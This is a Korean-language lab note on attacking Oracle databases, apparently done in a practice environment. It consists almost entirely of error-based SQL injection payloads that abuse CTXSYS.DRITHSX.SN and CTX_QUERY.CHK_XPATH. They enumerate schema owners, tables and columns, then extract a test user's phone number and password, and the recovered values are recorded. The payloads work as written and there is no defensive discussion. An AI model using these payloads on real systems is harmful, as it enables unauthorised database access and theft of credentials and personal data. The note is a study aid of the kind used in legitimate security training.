Oracle database 공격 실습

CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))
CTXSYS.CTX_QUERY.CHK_XPATH((SELECT user FROM dual),1)

 

새로운 사용자 , 테이블, 컬럼, 데이터 확인

---

1. 새로운 사용자 확인

CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=1))
CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=2))
CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=3))
CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=4))
CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=5))
CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=6))
CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=7))

새로운 사용자 : C##TEST 확인

2. 새로운 테이블 확인

CTXSYS.DRITHSX.SN(1,(SELECT table_name FROM (SELECT rownum r, table_name FROM all_tables WHERE owner='C##TEST') WHERE r=1))

새로운 테이블 : TEST1 확인

3. 새로운 컬럼 확인

CTXSYS.DRITHSX.SN(1,(SELECT column_name FROM (SELECT rownum r, column_name FROM all_tab_columns WHERE owner='C##TEST' and table_name='TEST1') WHERE r=1))
CTXSYS.DRITHSX.SN(1,(SELECT column_name FROM (SELECT rownum r, column_name FROM all_tab_columns WHERE owner='C##TEST' and table_name='TEST1') WHERE r=2))
CTXSYS.DRITHSX.SN(1,(SELECT column_name FROM (SELECT rownum r, column_name FROM all_tab_columns WHERE owner='C##TEST' and table_name='TEST1') WHERE r=3))
CTXSYS.DRITHSX.SN(1,(SELECT column_name FROM (SELECT rownum r, column_name FROM all_tab_columns WHERE owner='C##TEST' and table_name='TEST1') WHERE r=4))

새로운 컬럼 : PHONE 확인

4. 새로운 데이터 확인

CTXSYS.DRITHSX.SN(1,(SELECT id FROM (SELECT rownum r,id FROM C##TEST.test1) WHERE r=1))
CTXSYS.DRITHSX.SN(1,(SELECT id FROM (SELECT rownum r,id FROM C##TEST.test1) WHERE r=2))
CTXSYS.DRITHSX.SN(1,(SELECT id FROM (SELECT rownum r,id FROM C##TEST.test1) WHERE r=3))

새로운 데이터 : test 확인

5. 새로운 데이터 test 모든 정보 확인

# 휴대폰 번호 확인
CTXSYS.DRITHSX.SN(1,(SELECT phone FROM (SELECT rownum r,phone FROM C##TEST.test1 WHERE id='test') WHERE r=1))

# IDX 번호 확인
CTXSYS.DRITHSX.SN(1,(SELECT idx FROM (SELECT rownum r,idx FROM C##TEST.test1 WHERE id='test') WHERE r=1))

# PW 번호 확인
CTXSYS.DRITHSX.SN(1,(SELECT pw FROM (SELECT rownum r,pw FROM C##TEST.test1 WHERE id='test') WHERE r=1))

휴대폰 번호 : 010-9876-5432 확인

IDX 번호 : 3 확인

pw 번호 : 1q2w3e4r 확인